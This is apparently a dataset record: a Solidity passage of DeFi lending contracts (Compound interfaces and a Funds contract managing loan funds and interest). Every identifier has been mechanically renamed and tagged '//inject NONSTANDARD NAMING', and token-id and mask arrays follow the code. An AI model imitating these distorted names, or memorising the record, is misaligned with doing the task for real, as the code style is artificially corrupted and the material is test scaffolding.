payable; //inject NONSTANDARD NAMING function EXCHANGERATECURRENT666() external returns (uint); //inject NONSTANDARD NAMING function GETCASH889() external view returns (uint); //inject NONSTANDARD NAMING function TOTALBORROWSCURRENT914() external returns (uint); //inject NONSTANDARD NAMING function BORROWRATEPERBLOCK907() external view returns (uint); //inject NONSTANDARD NAMING function SUPPLYRATEPERBLOCK507() external view returns (uint); //inject NONSTANDARD NAMING function TOTALRESERVES190() external view returns (uint); //inject NONSTANDARD NAMING function RESERVEFACTORMANTISSA247() external view returns (uint); //inject NONSTANDARD NAMING function TOTALSUPPLY908() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF227(address owner) external view returns (uint256 balance); //inject NONSTANDARD NAMING function ALLOWANCE643(address, address) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE357(address, uint) external; //inject NONSTANDARD NAMING function TRANSFER744(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM570(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING } interface CERC20Interface { function MINT386(uint mintAmount) external returns (uint); //inject NONSTANDARD NAMING function REPAYBORROW556(uint repayAmount) external returns (uint); //inject NONSTANDARD NAMING function REPAYBORROWBEHALF985(address borrower, uint repayAmount) external returns (uint); //inject NONSTANDARD NAMING function BORROWBALANCECURRENT604(address account) external returns (uint); //inject NONSTANDARD NAMING } interface ERC20Interface { function ALLOWANCE643(address, address) external view returns (uint); //inject NONSTANDARD NAMING function BALANCEOF227(address) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE357(address, uint) external; //inject NONSTANDARD NAMING function TRANSFER744(address, uint) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM570(address, address, uint) external returns (bool); //inject NONSTANDARD NAMING } interface TrollerInterface { function ENTERMARKETS395(address[] calldata cTokens) external returns (uint[] memory); //inject NONSTANDARD NAMING function EXITMARKET275(address cTokenAddress) external returns (uint); //inject NONSTANDARD NAMING function GETASSETSIN764(address account) external view returns (address[] memory); //inject NONSTANDARD NAMING function GETACCOUNTLIQUIDITY185(address account) external view returns (uint, uint, uint); //inject NONSTANDARD NAMING } contract Helpers is DSMath { address public comptroller; function GETCOMPTROLLERADDRESS117() public view returns (address) { //inject NONSTANDARD NAMING return comptroller; } function ENTERMARKET780(address cErc20) internal { //inject NONSTANDARD NAMING TrollerInterface troller = TrollerInterface(GETCOMPTROLLERADDRESS117()); address[] memory markets = troller.GETASSETSIN764(address(this)); bool isEntered = false; for (uint i = 0; i < markets.length; i++) { if (markets[i] == cErc20) { isEntered = true; } } if (!isEntered) { address[] memory toEnter = new address[](1); toEnter[0] = cErc20; troller.ENTERMARKETS395(toEnter); } } function SETAPPROVAL391(address erc20, uint srcAmt, address to) internal { //inject NONSTANDARD NAMING ERC20Interface erc20Contract = ERC20Interface(erc20); uint tokenAllowance = erc20Contract.ALLOWANCE643(address(this), to); if (srcAmt > tokenAllowance) { erc20Contract.APPROVE357(to, 2**255); } } } contract ALCompound is Helpers { function MINTCTOKEN703(address erc20, address cErc20, uint tokenAmt) internal { //inject NONSTANDARD NAMING ENTERMARKET780(cErc20); ERC20Interface token = ERC20Interface(erc20); uint toDeposit = token.BALANCEOF227(address(this)); if (toDeposit > tokenAmt) { toDeposit = tokenAmt; } CERC20Interface cToken = CERC20Interface(cErc20); SETAPPROVAL391(erc20, toDeposit, cErc20); assert(cToken.MINT386(toDeposit) == 0); } function REDEEMUNDERLYING614(address cErc20, uint tokenAmt) internal { //inject NONSTANDARD NAMING CTokenInterface cToken = CTokenInterface(cErc20); SETAPPROVAL391(cErc20, 10**50, cErc20); uint toBurn = cToken.BALANCEOF227(address(this)); uint tokenToReturn = WMUL533(toBurn, cToken.EXCHANGERATECURRENT666()); if (tokenToReturn > tokenAmt) { tokenToReturn = tokenAmt; } require(cToken.REDEEMUNDERLYING614(tokenToReturn) == 0, "something went wrong"); } function REDEEMCTOKEN224(address cErc20, uint cTokenAmt) internal { //inject NONSTANDARD NAMING CTokenInterface cToken = CTokenInterface(cErc20); uint toBurn = cToken.BALANCEOF227(address(this)); if (toBurn > cTokenAmt) { toBurn = cTokenAmt; } SETAPPROVAL391(cErc20, toBurn, cErc20); require(cToken.REDEEM46(toBurn) == 0, "something went wrong"); } } contract Funds is DSMath, ALCompound { Loans loans; uint256 public constant default_liquidation_ratio475 = 1400000000000000000000000000; //inject NONSTANDARD NAMING uint256 public constant default_liquidation_penalty756 = 1000000000937303470807876289; //inject NONSTANDARD NAMING uint256 public constant default_min_loan_amt427 = 25 ether; //inject NONSTANDARD NAMING uint256 public constant default_max_loan_amt507 = 2**256-1; //inject NONSTANDARD NAMING uint256 public constant default_min_loan_dur981 = 6 hours; //inject NONSTANDARD NAMING uint256 public constant num_seconds_in_year521 = 365 days; //inject NONSTANDARD NAMING uint256 public constant max_loan_length66 = 10 * num_seconds_in_year521; //inject NONSTANDARD NAMING uint256 public constant max_uint_256251 = 2**256-1; //inject NONSTANDARD NAMING mapping (address => bytes32[]) public secretHashes; mapping (address => uint256) public secretHashIndex; mapping (address => bytes) public pubKeys; mapping (bytes32 => Fund) public funds; mapping (address => bytes32) public fundOwner; mapping (bytes32 => Bools) public bools; uint256 public fundIndex; uint256 public lastGlobalInterestUpdated; uint256 public tokenMarketLiquidity; uint256 public cTokenMarketLiquidity; uint256 public marketLiquidity; uint256 public totalBorrow; uint256 public globalInterestRateNumerator; uint256 public lastUtilizationRatio; uint256 public globalInterestRate; uint256 public maxUtilizationDelta; uint256 public utilizationInterestDivisor; uint256 public maxInterestRateNumerator; uint256 public minInterestRateNumerator; uint256 public interestUpdateDelay; uint256 public defaultArbiterFee; ERC20 public token; uint256 public decimals; CTokenInterface public cToken; bool compoundSet; address deployer; struct Fund { address lender; uint256 minLoanAmt; uint256 maxLoanAmt; uint256 minLoanDur; uint256 maxLoanDur; uint256 fundExpiry; uint256 interest; uint256 penalty; uint256 fee; uint256 liquidationRatio; address arbiter; uint256 balance; uint256 cBalance; } struct Bools { bool custom; bool compoundEnabled; } event CREATE22(bytes32 fund); //inject NONSTANDARD NAMING event DEPOSIT856(bytes32 fund, uint256 amount_); //inject NONSTANDARD NAMING event UPDATE341(bytes32 fund, uint256 maxLoanDur_, uint256 fundExpiry_, address arbiter_); //inject NONSTANDARD NAMING event REQUEST101(bytes32 fund, address borrower_, uint256 amount_, uint256 collateral_, uint256 loanDur_, uint256 requestTimestamp_); //inject NONSTANDARD NAMING event WITHDRAW160(bytes32 fund, uint256 amount_, address recipient_); //inject NONSTANDARD NAMING event ENABLECOMPOUND170(bytes32 fund); //inject NONSTANDARD NAMING event DISABLECOMPOUND118(bytes32 fund); //inject NONSTANDARD NAMING constructor( ERC20 token_, uint256 decimals_ ) public { require(address(token_) != address(0), "Funds.constructor: Token address must be non-zero"); require(decimals_ != 0, "Funds.constructor: Decimals must be non-zero"); deployer = msg.sender; token = token_; decimals = decimals_; utilizationInterestDivisor = 10531702972595856680093239305; maxUtilizationDelta = 95310179948351216961192521; globalInterestRateNumerator = 95310179948351216961192521; maxInterestRateNumerator = 182321557320989604265864303; minInterestRateNumerator = 24692612600038629323181834; interestUpdateDelay = 86400; defaultArbiterFee = 1000000000236936036262880196; globalInterestRate = ADD803(ray271, DIV358(globalInterestRateNumerator, num_seconds_in_year521)); } function SETLOANS600(Loans loans_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setLoans: Only the deployer can perform this"); require(address(loans) == address(0), "Funds.setLoans: Loans address has already been set"); require(address(loans_) != address(0), "Funds.setLoans: Loans address must be non-zero"); loans = loans_; require(token.APPROVE357(address(loans_), max_uint_256251), "Funds.setLoans: Tokens cannot be approved"); } function SETCOMPOUND395(CTokenInterface cToken_, address comptroller_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setCompound: Only the deployer can enable Compound lending"); require(!compoundSet, "Funds.setCompound: Compound address has already been set"); require(address(cToken_) != address(0), "Funds.setCompound: cToken address must be non-zero"); require(comptroller_ != address(0), "Funds.setCompound: comptroller address must be non-zero"); cToken = cToken_; comptroller = comptroller_; compoundSet = true; } function SETUTILIZATIONINTERESTDIVISOR326(uint256 utilizationInterestDivisor_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setUtilizationInterestDivisor: Only the deployer can perform this"); require(utilizationInterestDivisor_ != 0, "Funds.setUtilizationInterestDivisor: utilizationInterestDivisor is zero"); utilizationInterestDivisor = utilizationInterestDivisor_; } function SETMAXUTILIZATIONDELTA889(uint256 maxUtilizationDelta_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setMaxUtilizationDelta: Only the deployer can perform this"); require(maxUtilizationDelta_ != 0, "Funds.setMaxUtilizationDelta: maxUtilizationDelta is zero"); maxUtilizationDelta = maxUtilizationDelta_; } function SETGLOBALINTERESTRATENUMERATOR552(uint256 globalInterestRateNumerator_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setGlobalInterestRateNumerator: Only the deployer can perform this"); require(globalInterestRateNumerator_ != 0, "Funds.setGlobalInterestRateNumerator: globalInterestRateNumerator is zero"); globalInterestRateNumerator = globalInterestRateNumerator_; } function SETGLOBALINTERESTRATE215(uint256 globalInterestRate_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setGlobalInterestRate: Only the deployer can perform this"); require(globalInterestRate_ != 0, "Funds.setGlobalInterestRate: globalInterestRate is zero"); globalInterestRate = globalInterestRate_; } function SETMAXINTERESTRATENUMERATOR833(uint256 maxInterestRateNumerator_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setMaxInterestRateNumerator: Only the deployer can perform this"); require(maxInterestRateNumerator_ != 0, "Funds.setMaxInterestRateNumerator: maxInterestRateNumerator is zero"); maxInterestRateNumerator = maxInterestRateNumerator_; } function SETMININTERESTRATENUMERATOR870(uint256 minInterestRateNumerator_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setMinInterestRateNumerator: Only the deployer can perform this"); require(minInterestRateNumerator_ != 0, "Funds.setMinInterestRateNumerator: minInterestRateNumerator is zero"); minInterestRateNumerator = minInterestRateNumerator_; } function SETINTERESTUPDATEDELAY704(uint256 interestUpdateDelay_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setInterestUpdateDelay: Only the deployer can perform this"); require(interestUpdateDelay_ != 0, "Funds.setInterestUpdateDelay: interestUpdateDelay is zero"); interestUpdateDelay = interestUpdateDelay_; } function SETDEFAULTARBITERFEE996(uint256 defaultArbiterFee_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Funds.setDefaultArbiterFee: Only the deployer can perform this"); require(defaultArbiterFee_ <= 1000000000315522921573372069, "Funds.setDefaultArbiterFee: defaultArbiterFee cannot be less than -1%"); defaultArbiterFee = defaultArbiterFee_; } function LENDER92(bytes32 fund) public view returns (address) { //inject NONSTANDARD NAMING return funds[fund].lender; } function MINLOANAMT516(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].minLoanAmt;} else {return DIV358(default_min_loan_amt427, (10 ** SUB97(18, decimals)));} } function MAXLOANAMT810(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].maxLoanAmt;} else {return default_max_loan_amt507;} } function MINLOANDUR238(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].minLoanDur;} else {return default_min_loan_dur981;} } function MAXLOANDUR299(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING return funds[fund].maxLoanDur; } function FUNDEXPIRY174(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING return funds[fund].fundExpiry; } function INTEREST523(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].interest;} else {return globalInterestRate;} } function PENALTY434(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].penalty;} else {return default_liquidation_penalty756;} } function FEE426(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].fee;} else {return defaultArbiterFee;} } function LIQUIDATIONRATIO684(bytes32 fund) public view returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].custom) {return funds[fund].liquidationRatio;} else {return default_liquidation_ratio475;} } function ARBITER4(bytes32 fund) public view returns (address) { //inject NONSTANDARD NAMING return funds[fund].arbiter; } function BALANCE334(bytes32 fund) public returns (uint256) { //inject NONSTANDARD NAMING if (bools[fund].compoundEnabled) { return WMUL533(funds[fund].cBalance, cToken.EXCHANGERATECURRENT666()); } else { return funds[fund].balance; } } function CTOKENEXCHANGERATE725() public returns (uint256) { //inject NONSTANDARD NAMING if (compoundSet) { return cToken.EXCHANGERATECURRENT666(); } else { return 0; } } function CUSTOM642(bytes32 fund) public view returns (bool) { //inject NONSTANDARD NAMING return bools[fund].custom; } function SECRETHASHESCOUNT698(address addr_) public view returns (uint256) { //inject NONSTANDARD NAMING return secretHashes[addr_].length; } function CREATE943( //inject NONSTANDARD NAMING uint256 maxLoanDur_, uint256 fundExpiry_, address arbiter_, bool compoundEnabled_, uint256 amount_ ) external returns (bytes32 fund) { require(funds[fundOwner[msg.sender]].lender != msg.sender, "Funds.create: Only one loan fund allowed per address"); require( ENSURENOTZERO255(maxLoanDur_, false) < max_loan_length66 && ENSURENOTZERO255(fundExpiry_, true) < now + max_loan_length66, "Funds.create: fundExpiry and maxLoanDur cannot exceed 10 years" ); if (!compoundSet) {require(compoundEnabled_ == false, "Funds.create: Cannot enable Compound as it has not been configured");} fundIndex = ADD803(fundIndex, 1); fund = bytes32(fundIndex); funds[fund].lender = msg.sender; funds[fund].maxLoanDur = ENSURENOTZERO255(maxLoanDur_, false); funds[fund].fundExpiry = ENSURENOTZERO255(fundExpiry_, true); funds[fund].arbiter = arbiter_; bools[fund].custom = false; bools[fund].compoundEnabled = compoundEnabled_; fundOwner[msg.sender] = bytes32(fundIndex); if (amount_ > 0) {DEPOSIT909(fund, amount_);} emit CREATE22(fund); } function CREATECUSTOM959( //inject NONSTANDARD NAMING uint256 minLoanAmt_, uint256 maxLoanAmt_, uint256 minLoanDur_, uint256 maxLoanDur_, uint256 fundExpiry_, uint256 liquidationRatio_, uint256 interest_, uint256 penalty_, uint256 fee_, address arbiter_, bool compoundEnabled_, uint256 amount_ ) external returns (bytes32 fund) { require(funds[fundOwner[msg.sender]].lender != msg.sender, "Funds.create: Only one loan fund allowed per address"); require( ENSURENOTZERO255(maxLoanDur_, false) < max_loan_length66 && ENSURENOTZERO255(fundExpiry_, true) < now + max_loan_length66, "Funds.createCustom: fundExpiry and maxLoanDur cannot exceed 10 years" ); require(maxLoanAmt_ >= minLoanAmt_, "Funds.createCustom: maxLoanAmt must be greater than or equal to minLoanAmt"); require(ENSURENOTZERO255(maxLoanDur_, false) >= minLoanDur_, "Funds.createCustom: maxLoanDur must be greater than or equal to minLoanDur"); if (!compoundSet) {require(compoundEnabled_ == false, "Funds.createCustom: Cannot enable Compound as it has not been configured");} fundIndex = ADD803(fundIndex, 1); fund = bytes32(fundIndex); funds[fund].lender = msg.sender; funds[fund].minLoanAmt = minLoanAmt_; funds[fund].maxLoanAmt = maxLoanAmt_; funds[fund].minLoanDur = minLoanDur_; funds[fund].maxLoanDur = ENSURENOTZERO255(maxLoanDur_, false); funds[fund].fundExpiry = ENSURENOTZERO255(fundExpiry_, true); funds[fund].interest = interest_; funds[fund].penalty = penalty_; funds[fund].fee = fee_; funds[fund].liquidationRatio = liquidationRatio_; funds[fund].arbiter = arbiter_; bools[fund].custom = true; bools[fund].compoundEnabled = compoundEnabled_; fundOwner[msg.sender] = bytes32(fundIndex); if (amount_ > 0) {DEPOSIT909(fund, amount_);} emit CREATE22(fund); } function DEPOSIT909(bytes32 fund, uint256 amount_) public { //inject NONSTANDARD NAMING require(token.TRANSFERFROM570(msg.sender, address(this), amount_), "Funds.deposit: Failed to transfer tokens"); if (bools[fund].compoundEnabled) { MINTCTOKEN703(address(token), address(cToken), amount_); uint256 cTokenToAdd = DIV358(MUL111(amount_, wad510), cToken.EXCHANGERATECURRENT666()); funds[fund].cBalance = ADD803(funds[fund].cBalance, cTokenToAdd); if (!CUSTOM642(fund)) {cTokenMarketLiquidity = ADD803(cTokenMarketLiquidity, cTokenToAdd);} } else { funds[fund].balance = ADD803(funds[fund].balance, amount_); if (!CUSTOM642(fund)) {tokenMarketLiquidity = ADD803(tokenMarketLiquidity, amount_);} } if (!CUSTOM642(fund)) {CALCGLOBALINTEREST773();} emit DEPOSIT856(fund, amount_); } function UPDATE438( //inject NONSTANDARD NAMING bytes32 fund, uint256 maxLoanDur_, uint256 fundExpiry_, address arbiter_ ) public { require(msg.sender == LENDER92(fund), "Funds.update: Only the lender can update the fund"); require( ENSURENOTZERO255(maxLoanDur_, false) <= max_loan_length66 && ENSURENOTZERO255(fundExpiry_, true) <= now + max_loan_length66, "Funds.update: fundExpiry and maxLoanDur cannot exceed 10 years" ); funds[fund].maxLoanDur = maxLoanDur_; funds[fund].fundExpiry = fundExpiry_; funds[fund].arbiter = arbiter_; emit UPDATE341(fund, maxLoanDur_, fundExpiry_, arbiter_); } function UPDATECUSTOM705( //inject NONSTANDARD NAMING bytes32 fund, uint256 minLoanAmt_, uint256 maxLoanAmt_, uint256 minLoanDur_, uint256 maxLoanDur_, uint256 fundExpiry_, uint256 interest_, uint256 penalty_, uint256 fee_, uint256 liquidationRatio_, address arbiter_ ) external { require(bools[fund].custom, "Funds.updateCustom: Fund must be a custom fund"); require(maxLoanAmt_ >= minLoanAmt_, "Funds.updateCustom: maxLoanAmt must be greater than or equal to minLoanAmt"); require(ENSURENOTZERO255(maxLoanDur_, false) >= minLoanDur_, "Funds.updateCustom: maxLoanDur must be greater than or equal to minLoanDur"); UPDATE438(fund, maxLoanDur_, fundExpiry_, arbiter_); funds[fund].minLoanAmt = minLoanAmt_; funds[fund].maxLoanAmt = maxLoanAmt_; funds[fund].minLoanDur = minLoanDur_; funds[fund].interest = interest_; funds[fund].penalty = penalty_; funds[fund].fee = fee_; funds[fund].liquidationRatio = liquidationRatio_; } function REQUEST711( //inject NONSTANDARD NAMING bytes32 fund, address borrower_, uint256 amount_, uint256 collateral_, uint256 loanDur_, uint256 requestTimestamp_, bytes32[8] calldata secretHashes_, bytes calldata pubKeyA_, bytes calldata pubKeyB_ ) external returns (bytes32 loanIndex) { require(msg.sender == LENDER92(fund), "Funds.request: Only the lender can fulfill a loan request"); require(amount_ <= BALANCE334(fund), "Funds.request: Insufficient balance"); require(amount_ >= MINLOANAMT516(fund), "Funds.request: Amount requested must be greater than minLoanAmt"); require(amount_ <= MAXLOANAMT810(fund), "Funds.request: Amount requested must be less than maxLoanAmt"); require(loanDur_ >= MINLOANDUR238(fund), "Funds.request: Loan duration must be greater than minLoanDur"); require(loanDur_ <= SUB97(FUNDEXPIRY174(fund), now) && loanDur_ <= MAXLOANDUR299(fund), "Funds.request: Loan duration must be less than maxLoanDur and expiry"); require(borrower_ != address(0), "Funds.request: Borrower address must be non-zero"); require(secretHashes_[0] != bytes32(0) && secretHashes_[1] != bytes32(0), "Funds.request: SecretHash1 & SecretHash2 should be non-zero"); require(secretHashes_[2] != bytes32(0) && secretHashes_[3] != bytes32(0), "Funds.request: SecretHash3 & SecretHash4 should be non-zero"); require(secretHashes_[4] != bytes32(0) && secretHashes_[5] != bytes32(0), "Funds.request: SecretHash5 & SecretHash6 should be non-zero"); require(secretHashes_[6] != bytes32(0) && secretHashes_[7] != bytes32(0), "Funds.request: SecretHash7 & SecretHash8 should be non-zero"); loanIndex = CREATELOAN338(fund, borrower_, amount_, collateral_, loanDur_, requestTimestamp_); LOANSETSECRETHASHES310(fund, loanIndex, secretHashes_, pubKeyA_, pubKeyB_); LOANUPDATEMARKETLIQUIDITY912(fund, amount_); loans.FUND172(loanIndex); emit REQUEST101(fund, borrower_, amount_, collateral_, loanDur_, requestTimestamp_); } function WITHDRAW186(bytes32 fund, uint256 amount_) external { //inject NONSTANDARD NAMING WITHDRAWTO298(fund, amount_, msg.sender); } function WITHDRAWTO298(bytes32 fund, uint256 amount_, address recipient_) public { //inject NONSTANDARD NAMING require(msg.sender == LENDER92(fund), "Funds.withdrawTo: Only the lender can withdraw tokens"); require(BALANCE334(fund) >= amount_, "Funds.withdrawTo: Insufficient balance"); if (bools[fund].compoundEnabled) { uint256 cBalanceBefore = cToken.BALANCEOF227(address(this)); REDEEMUNDERLYING614(address(cToken), amount_); uint256 cBalanceAfter = cToken.BALANCEOF227(address(this)); uint256 cTokenToRemove = SUB97(cBalanceBefore, cBalanceAfter); funds[fund].cBalance = SUB97(funds[fund].cBalance, cTokenToRemove); require(token.TRANSFER744(recipient_, amount_), "Funds.withdrawTo: Token transfer failed"); if (!CUSTOM642(fund)) {cTokenMarketLiquidity = SUB97(cTokenMarketLiquidity, cTokenToRemove);} } else { funds[fund].balance = SUB97(funds[fund].balance, amount_); require(token.TRANSFER744(recipient_, amount_), "Funds.withdrawTo: Token transfer failed"); if (!CUSTOM642(fund)) {tokenMarketLiquidity = SUB97(tokenMarketLiquidity, amount_);} } if (!CUSTOM642(fund)) {CALCGLOBALINTEREST773();} emit WITHDRAW160(fund, amount_, recipient_); } function GENERATE494(bytes32[] calldata secretHashes_) external { //inject NONSTANDARD NAMING for (uint i = 0; i < secretHashes_.length; i++) { secretHashes[msg.sender].push(secretHashes_[i]); } } function SETPUBKEY352(bytes calldata pubKey_) external { //inject NONSTANDARD NAMING pubKeys[msg.sender] = pubKey_; } function ENABLECOMPOUND230(bytes32 fund) external { //inject NONSTANDARD NAMING require(compoundSet, "Funds.enableCompound: Cannot enable Compound as it has not been configured"); require(bools[fund].compoundEnabled == false, "Funds.enableCompound: Compound is already enabled"); require(msg.sender == LENDER92(fund), "Funds.enableCompound: Only the lender can enable Compound"); uint256 cBalanceBefore = cToken.BALANCEOF227(address(this)); MINTCTOKEN703(address(token), address(cToken), funds[fund].balance); uint256 cBalanceAfter = cToken.BALANCEOF227(address(this)); uint256 cTokenToReturn = SUB97(cBalanceAfter, cBalanceBefore); tokenMarketLiquidity = SUB97(tokenMarketLiquidity, funds[fund].balance); cTokenMarketLiquidity = ADD803(cTokenMarketLiquidity, cTokenToReturn); bools[fund].compoundEnabled = true; funds[fund].balance = 0; funds[fund].cBalance = cTokenToReturn; emit ENABLECOMPOUND170(fund); } function DISABLECOMPOUND481(bytes32 fund) external { //inject NONSTANDARD NAMING require(bools[fund].compoundEnabled, "Funds.disableCompound: Compound is already disabled"); require(msg.sender == LENDER92(fund), "Funds.disableCompound: Only the lender can disable Compound"); uint256 balanceBefore = token.BALANCEOF227(address(this)); REDEEMCTOKEN224(address(cToken), funds[fund].cBalance); uint256 balanceAfter = token.BALANCEOF227(address(this)); uint256 tokenToReturn = SUB97(balanceAfter, balanceBefore); tokenMarketLiquidity = ADD803(tokenMarketLiquidity, tokenToReturn); cTokenMarketLiquidity = SUB97(cTokenMarketLiquidity, funds[fund].cBalance); bools[fund].compoundEnabled = false; funds[fund].cBalance = 0; funds[fund].balance = tokenToReturn; emit DISABLECOMPOUND118(fund); } function DECREASETOTALBORROW522(uint256 amount_) external { //inject NONSTANDARD NAMING require(msg.sender == address(loans), "Funds.decreaseTotalBorrow: Only the Loans contract can perform this"); totalBorrow = SUB97(totalBorrow, amount_); } function CALCGLOBALINTEREST773() public { //inject NONSTANDARD NAMING marketLiquidity = ADD803(tokenMarketLiquidity, WMUL533(cTokenMarketLiquidity, CTOKENEXCHANGERATE725())); if (now > (ADD803(lastGlobalInterestUpdated, interestUpdateDelay))) { uint256 utilizationRatio; if (totalBorrow != 0) {utilizationRatio = RDIV519(totalBorrow, ADD803(marketLiquidity, totalBorrow));} if (utilizationRatio > lastUtilizationRatio) { uint256 changeUtilizationRatio = SUB97(utilizationRatio, lastUtilizationRatio); globalInterestRateNumerator = MIN456(maxInterestRateNumerator, ADD803(globalInterestRateNumerator, RDIV519(MIN456(maxUtilizationDelta, changeUtilizationRatio), utilizationInterestDivisor))); } else { uint256 changeUtilizationRatio = SUB97(lastUtilizationRatio, utilizationRatio); globalInterestRateNumerator = MAX638(minInterestRateNumerator, SUB97(globalInterestRateNumerator, RDIV519(MIN456(maxUtilizationDelta, changeUtilizationRatio), utilizationInterestDivisor))); } globalInterestRate = ADD803(ray271, DIV358(globalInterestRateNumerator, num_seconds_in_year521)); lastGlobalInterestUpdated = now; lastUtilizationRatio = utilizationRatio; } } function CALCINTEREST818(uint256 amount_, uint256 rate_, uint256 loanDur_) public pure returns (uint256) { //inject NONSTANDARD NAMING return SUB97(RMUL965(amount_, RPOW933(rate_, loanDur_)), amount_); } function ENSURENOTZERO255(uint256 value, bool addNow) public view returns (uint256) { //inject NONSTANDARD NAMING if (value == 0) { if (addNow) { return now + max_loan_length66; } return max_loan_length66; } return value; } function CREATELOAN338( //inject NONSTANDARD NAMING bytes32 fund, address borrower_, uint256 amount_, uint256 collateral_, uint256 loanDur_, uint256 requestTimestamp_ ) private returns (bytes32 loanIndex) { loanIndex = loans.CREATE943( now + loanDur_, [borrower_, LENDER92(fund), funds[fund].arbiter], [ amount_, CALCINTEREST818(amount_, INTEREST523(fund), loanDur_), CALCINTEREST818(amount_, PENALTY434(fund), loanDur_), CALCINTEREST818(amount_, FEE426(fund), loanDur_), collateral_, LIQUIDATIONRATIO684(fund), requestTimestamp_ ], fund ); } function LOANSETSECRETHASHES310( //inject NONSTANDARD NAMING bytes32 fund, bytes32 loan, bytes32[8] memory secretHashes_, bytes memory pubKeyA_, bytes memory pubKeyB_ ) private { loans.SETSECRETHASHES742( loan, [ secretHashes_[0], secretHashes_[1], secretHashes_[2], secretHashes_[3] ], [ secretHashes_[4], secretHashes_[5], secretHashes_[6], secretHashes_[7] ], GETSECRETHASHESFORLOAN447(ARBITER4(fund)), pubKeyA_, pubKeyB_, pubKeys[ARBITER4(fund)] ); } function LOANUPDATEMARKETLIQUIDITY912(bytes32 fund, uint256 amount_) private { //inject NONSTANDARD NAMING if (bools[fund].compoundEnabled) { uint256 cBalanceBefore = cToken.BALANCEOF227(address(this)); REDEEMUNDERLYING614(address(cToken), amount_); uint256 cBalanceAfter = cToken.BALANCEOF227(address(this)); uint256 cTokenToRemove = SUB97(cBalanceBefore, cBalanceAfter); funds[fund].cBalance = SUB97(funds[fund].cBalance, cTokenToRemove); if (!CUSTOM642(fund)) {cTokenMarketLiquidity = SUB97(cTokenMarketLiquidity, cTokenToRemove);} } else { funds[fund].balance = SUB97(funds[fund].balance, amount_); if (!CUSTOM642(fund)) {tokenMarketLiquidity = SUB97(tokenMarketLiquidity, amount_);} } if (!CUSTOM642(fund)) { totalBorrow = ADD803(totalBorrow, amount_); CALCGLOBALINTEREST773(); } } function GETSECRETHASHESFORLOAN447(address addr_) private returns (bytes32[4] memory) { //inject NONSTANDARD NAMING secretHashIndex[addr_] = ADD803(secretHashIndex[addr_], 4); require(SECRETHASHESCOUNT698(addr_) >= secretHashIndex[addr_], "Funds.getSecretHashesForLoan: Not enough secrets generated"); return [ secretHashes[addr_][SUB97(secretHashIndex[addr_], 4)], secretHashes[addr_][SUB97(secretHashIndex[addr_], 3)], secretHashes[addr_][SUB97(secretHashIndex[addr_], 2)], secretHashes[addr_][SUB97(secretHashIndex[addr_], 1)] ]; } }
inject NONSTANDARD NAMING
function BORROWERLOANCOUNT920(address borrower_) external view returns (uint256) {
1,784,184
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
